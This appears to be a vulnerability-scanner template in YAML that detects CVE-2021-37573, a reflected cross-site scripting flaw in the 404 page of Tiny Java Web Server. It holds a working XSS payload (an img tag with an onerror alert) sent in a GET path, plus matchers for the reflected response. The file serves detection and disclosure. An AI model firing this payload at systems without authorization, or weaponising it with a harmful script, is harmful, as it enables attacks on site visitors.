id: CVE-2021-37573

info:
  name: Tiny Java Web Server - Reflected XSS
  author: geeknik
  severity: medium
  reference:
    - https://seclists.org/fulldisclosure/2021/Aug/13
  tags: cve,cve2021,xss,tjws
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2021-37573
    cwe-id: CWE-79
  description: "A reflected cross-site scripting (XSS) vulnerability in the web server TTiny Java Web Server and Servlet Container (TJWS) <=1.115 allows an adversary to inject malicious code on the server's \"404 Page not Found\" error page"

requests:
  - method: GET
    path:
      - "{{BaseURL}}/te%3Cimg%20src=x%20onerror=alert(42)%3Est"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 404

      - type: word
        part: body
        words:
          - "<H2>404 te<img src=x onerror=alert(42)>st not found</H2>"

      - type: word
        part: header
        words:
          - text/html